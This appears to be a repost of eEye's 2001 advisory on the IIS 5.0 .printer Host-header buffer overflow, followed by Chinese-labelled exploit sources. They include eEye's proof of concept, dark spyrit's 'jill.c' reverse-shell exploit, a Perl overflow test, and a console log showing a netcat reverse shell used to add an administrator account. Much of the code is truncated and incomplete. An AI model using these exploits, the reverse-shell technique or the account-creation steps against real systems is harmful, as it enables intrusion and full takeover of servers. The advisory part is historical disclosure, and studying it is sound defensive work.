Windows 2000 IIS 5.0 Remote buffer overflow vulnerability
(Remote SYSTEM Level Access)

Release Date:
May 01, 2001

High (Remote SYSTEM level code execution)

Systems Affected:
Microsoft Windows 2000 Internet Information Services 5.0
Microsoft Windows 2000 Internet Information Services 5.0 + Service Pack 1

A wise man once said, "When a single exploit is released, it's a good hack. When
you are the first to hack each successive version of a product run on millions
of computers all over the internet, you create a dynasty."
It seems sometimes the greatest discoveries are the ones that are the hardest to
share with the world. It's not about a lack of wanting to tell everyone, but a
lack of not knowing exactly how to put it so that people's jaws do not drop so
fast that their heads snap back as they realize just how fragile our world is
becoming. We are slowly pushing society into the digital world people only
dreamed about years ago -- a world in which everything is being connected and
little is being done to shore up the large looming gaps that are in existence in
today's networked systems.
And without further ado... eEye Digital Security presents, "Remote SYSTEM level
access to any default Windows 2000 IIS 5.0 Web server."
The Discovery:
This bug was first discovered while Riley Hassell, of eEye Digital Security, was
updating Retina's CHAM (Common Hacking Attack Methods) technology to look for
unknown vulnerabilities within some of the new features that Windows 2000 IIS
5.0 provides. One of the features that was added to be audited by CHAM was the
.printer ISAPI filter extension. Once the .printer ISAPI filter was added to the
list of ISAPI's to audit, as well as various aspects of the new Web DAV
functionality within IIS, the latest Retina development code was let loose
against a test server in our lab. Within a matter of minutes, a debugger kicked
in on inetinfo.exe because of a "buffer overflow error."
The Explanation:
It turns out the latest development code of Retina was able to find a buffer
overflow within the .printer ISAPI filter (C:\WINNT\System32\msw3prt.dll) which
provides Windows 2000 with support for the Internet Printing Protocol (IPP)
which allows for the Web based control of various aspects of networked printers.
The vulnerability arises when a buffer of aprox. 420 bytes is sent within the
HTTP Host: header for a .printer ISAPI request.

GET /NULL.printer HTTP/1.0
Host: [buffer]

Where [buffer] is aprox. 420 characters.

At this point an attacker has sucessfully caused a buffer overflow within IIS
and has overwritten EIP. Now normally the Web server would stop responding once
you have "buffer overflowed" it. However, Windows 2000 will automatically
restart the Web server if it notices that the Web server has crashed. While the
feature is nice to help create a longer period of "up time", it is actually a
feature that makes it easier for remote attacks to execute code against Windows
2000 IIS 5.0 Web servers.

As we stated earlier, our overflow is able to overwrite the EIP register with
whatever we want. That basically means we can overwrite EIP with a location in
memory that jumps to our "exploit" code, in memory, and then executes our code
with SYSTEM level access.

The Exploit:
Ryan Permeh, resident shellcode ninja of eEye Digital Security, has created an
example exploit to be used as a "proof-of-concept". Our proof-of-concept exploit
will, when run against an IIS 5 Web server, create a text document on the remote
server with instructions directing readers to a Web page on eeye.com that has
information on how to patch the system so that the Web server is no longer
vulnerable to this flaw. This exploit is to only be considered a
proof-of-concept exploit and anyone with Windows 2000 should install the
Microsoft supplied patch ASAP.

Check back to our Web site later today as we will post a link to our
proof-of-concept code.

We would like to note that eEye Digital Security did provide Microsoft with a
working exploit. This exploit, when ran against a Web server, will bind a
cmd.exe command prompt to an IIS remote port within seconds. This allows a
remote attacker to execute commands with SYSTEM level access and thereby have
full control over the vulnerable machine.

The Log:
Actually there is no log because this vulnerability, like most IIS buffer
overflows, does not get logged. That means some of the largest Web servers on
the Internet running Windows 2000 are vulnerable to this attack and when
exploited, there will be no IIS log anywhere that records the attack.

The Fallout:
As with our first remote SYSTEM level exploit for IIS 4.0 two years ago, the
fallout from this second IIS remote overflow is also rather large. Once again it
does not matter what kind of security systems you have in place, Firewalls,
IDS's, etc., because all of these systems can be bypassed and your Web server
CAN be broken into via this vulnerability. To quote our last advisory: "Even a
server that's locked in a guarded room behind a Cisco Pix can be broken into
with this hole. This is a reminder to all software vendors that testing for
common security holes in your software is a must. Demand more from your software
vendors." There are millions of Windows 2000 Web servers on the Internet right
now that are wide open to this vulnerability.

The Magic:
About two weeks ago eEye Digital Security released, SecureIIS which stops both
known and unknown IIS Web server vulnerabilities. Our SecureIIS code base from
about 4 weeks ago actually stopped this latest IIS 5.0 buffer overflow
vulnerability without actually knowing anything about it. It is this power to
stop both known and unknown vulnerabilities that sets SecureIIS apart from every
other security product in the market. Visit http://www.eeye.com/SecureIIS to
learn more about this ground-breaking product.

Vendor Status:
We would like to thank Microsoft for working hard with us to create a patch for
this vulnerability.
You can download the Microsoft supplied patch from:
Also eEye Digital Security recommends removing the .printer ISAPI filter from
your Web server if it does not provide your Web server with any _needed_

Discovery: Riley Hassell
Exploit: Ryan Permeh

Related Links:
Retina - The Network Security Scanner.

SecureIIS - HTTP Application Firewall

ADM, KAM, Lamagra, Zen-parse, Barns, Angelina Jolie, Roland Postle, Attrition.

Copyright (c) 1998-2001 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent of
eEye. If you wish to reprint the whole or any part of this alert in any other
medium excluding electronic medium, please e-mail alert@eEye.com for permission.

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties with regard to this information. In no event shall the author be
liable for any damages whatsoever arising out of or in connection with the use
or spread of this information. Any use of this information is at the user's own

Please send suggestions, updates, and comments to:

eEye Digital Security

| 附带eEye上公布的测试源码 |
iishack 2000 - eEye Digital Security - 2001
This affects all unpatched windows 2000 machines with the .printer
isapi filter loaded. This is purely proof of concept.

Quick rundown of the exploit:

Eip overruns at position 260
i have 19 bytes of code to jump back to the beginning of the buffer.
(and a 4 byte eip jumping into a jmp esp located in mfc42.dll). The
jumpback was kinda weird, requiring a little forward padding to protect
the rest of the code.

The buffer itself:
Uou only have about 250ish bytes before the overflow(taking into
account the eip and jumpback), and like 211 after it. this makes
things tight. This is why i hardcoded the offsets and had 2 shellcodes,
one for each revision. normally, this would suck, but since iis is kind
to us, it cleanly restarts itself if we blow it, giving us another chance.

This should compile clean on windows, linux and *bsd. Other than that, you
are on your own, but the vector is a simple tcp vector, so no biggie.

The vector:

the overflow happens in the isapi handling the .printer extension. The actual
overflow is in the Host: header. This buffer is a bit weird, soi be carfull
what you pass into it. It has a minimal amount of parsing happening before
we get it, making some chars not able to be used(or forcing you to encode
your payload). As far as i can tell, the bad bytes i've come across are:

0x0a(this inits a return, basically flaking our buffer)
0x0d(same as above)
0x3a(colon: - this seems to be a separator of some kind, didn't have time or
energy to reverse it any further, it breaks stuff, keep it out of
your buffer)

i have a feeling that there are more bad chars, but in the shellcode i've
(both this proof of concept and actual port binding shellcode), i've come
problems, but haven't specifically tagged a "bad" char.

One more thing... inititally, i got this shellcode to fit on the left side of
the buffer overflow. something strange was causing it to fail if i had a length
of under about 315 chars. This seems strange to me, but it could be soemthing i
just screwed up writing this code. This explains the 0x03s padding the end of

Ryan Permeh

greetz: riley, for finding the hole
marc, for being a cool boss
dale,nicula,firas, for being pimps
greg hoglund, for sparking some really interesting ideas on exploitable
dark spyrit, for beginning the iis hack tradition
I would also like to thank the academy and to all of those who voted....
Barry, Levonne, and their $240.00 worth of pudding.

#ifdef _WIN32
#include <Winsock2.h>
#include <Windows.h>
#define snprintf _snprintf
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>

void usage();
unsigned char GetXORValue(char *szBuff, unsigned long filesize);
unsigned char


main (int argc, char *argv[])
char request_message[500];
int X,sock,sp=0;
unsigned short serverport=htons(80);
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr attack;
#ifdef _WIN32
WORD werd;
werd= MAKEWORD(2,0);
printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
printf("Vulnerability found by Riley Hassell <riley@eeye.com>\n");
printf("Exploit by Ryan Permeh <ryan@eeye.com>\n");
if(argc < 4) usage();
if(argv[1] != NULL)
nametocheck = gethostbyname (argv[1]);
else usage();
if(argv[2] != NULL)
serverport=ntohs((unsigned short)atoi(argv[2]));
if(argv[3] != NULL)
printf("Sending string to overflow sp %d for host: %s on
snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost:
sock = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_addr.s_addr = attack.s_addr;
serv_addr.sin_port = serverport;
X=connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr));

printf("Sent overflow, now look on the c: drive of %s for
printf("If the file doesn't exist, the server may be
patched,\nor may be a different service pack (try again with %d as the service
printf("Couldn't connect\n",inet_ntoa(attack));
#ifdef _WIN32
return 0;
void usage()
printf("Syntax: iishack2000 <hostname> <server port> <service
printf("Example: iishack2000 80 0\n");
printf("Example: iishack2000 80 1\n");

| 另外一段源代码 |
/* IIS 5 remote .printer overflow. "jill.c" (don't ask).
* by: dark spyrit <dspyrit@beavuh.org>
* respect to eeye for finding this one - nice work.
* shouts to halvar, neofight and the beavuh bitchez.
* this exploit overwrites an exception frame to control eip and get to
* our code.. the code then locates the pointer to our larger buffer and
* execs.
* usage: jill <victim host> <victim port> <attacker host> <attacker port>
* the shellcode spawns a reverse cmd shell.. so you need to set up a
* netcat listener on the host you control.
* Ex: nc -l -p <attacker port> -vv
* I haven't slept in years.

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

int main(int argc, char *argv[]){

/* the whole request rolled into one, pretty huh? carez. */

unsigned char sploit[]=

int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;

printf("iis5 remote .printer overflow.\n"
"dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n");

if (argc != 5){
printf("usage: %s <victimHost> <victimPort> <attackerHost>

if ((ht = gethostbyname(argv[1])) == 0){

sin.sin_port = htons(atoi(argv[2]));
a_port = htons(atoi(argv[4]));

sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);

if ((ht = gethostbyname(argv[3])) == 0){

a_host = *((unsigned long *)ht->h_addr);

sploit[441]= (a_port) & 0xff;
sploit[442]= (a_port >> 8) & 0xff;

sploit[446]= (a_host) & 0xff;
sploit[447]= (a_host >> 8) & 0xff;
sploit[448]= (a_host >> 16) & 0xff;
sploit[449]= (a_host >> 24) & 0xff;

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){

printf("\nconnecting... \n");

if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){

write(s, sploit, strlen(sploit));
sleep (1);
close (s);

printf("sent... \nyou may need to send a carriage on your listener if the shell
doesn't appear.\nhave fun!\n");

| 测试此漏洞的perl脚本 |
# Exploit By storm@stormdev.net
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol
# This code was written after eEye brought this issue in BugTraq.

use Socket;

print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";

if (not $ARGV[0]) {
print qq~
Usage: webexplt.pl <host>


print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0\n" . "Host:
print "Results:\n";

if (not @results) {
print "The Machine tested has the IPP Vulnerability!";
print @results;

sub sendexplt {
my ($pstr)=@_;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
print $pstr;
my @in=<S>;
return @in;
} else { die("Can't connect...\n"); }

| 小榕写的exploit: http://www.xfocus.org/tmp/IIS5Exploit.zip |
| 适用于IIS5.0 英文版,详细情况请参见说明 |
C:\>nc -l -p 99
D:\> IIS5Exploit xxx.xxx.xxx.xxx 99
===========IIS5 English Version .Printer Exploit.===========
===Written by Assassin 1995-2001. http://www.netXeyes.com===

Connecting ...OK.
Send Shell Code ...OK
IIS5 Shell Code Send OK
C:\>nc -l -p 99
Microsoft Windows 2000[Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\>net user hack password /add
The command completed successfully.
C:\>net localgroup administrartors hack /add
The command completed successfully.